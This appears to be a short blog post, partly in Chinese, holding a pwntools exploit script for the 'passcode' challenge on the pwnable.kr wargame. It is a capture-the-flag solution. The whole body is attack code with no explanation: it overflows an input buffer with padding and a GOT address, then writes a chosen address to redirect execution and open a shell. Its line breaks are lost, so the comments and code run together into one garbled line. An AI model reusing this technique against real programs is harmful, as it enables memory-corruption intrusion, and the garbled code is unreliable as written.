【PWN】passcode@pwnable.kr exploit

標籤：

#Exploit for [email protected]#@Windcarp 2015.07.14from pwn import *#initcontext(arch = ‘i386‘, os = ‘linux‘)local=Trueif local:    p = process("./passcode")    libc = ELF("/lib/i386-linux-gnu/libc.so.6")else:    p = remote("143.248.249.64", 2222)binary = ELF("passcode")#addressjmpAddr_str = ‘\x00\xa0\x04\x08‘#payloadpayload = ‘a‘*96payload += jmpAddr_strpayload2=‘134514147‘#pause for gdb to attach#raw_input()#first step#attention to fit the program wellp.recv(timeout=1)p.send(payload + ‘\n‘)#second stepp.recv(timeout=1)p.send(payload2 + ‘\n‘)#yeah!We got the shell!p.interactive()#nm, they didn‘t open the service!

【PWN】[email protected] exploit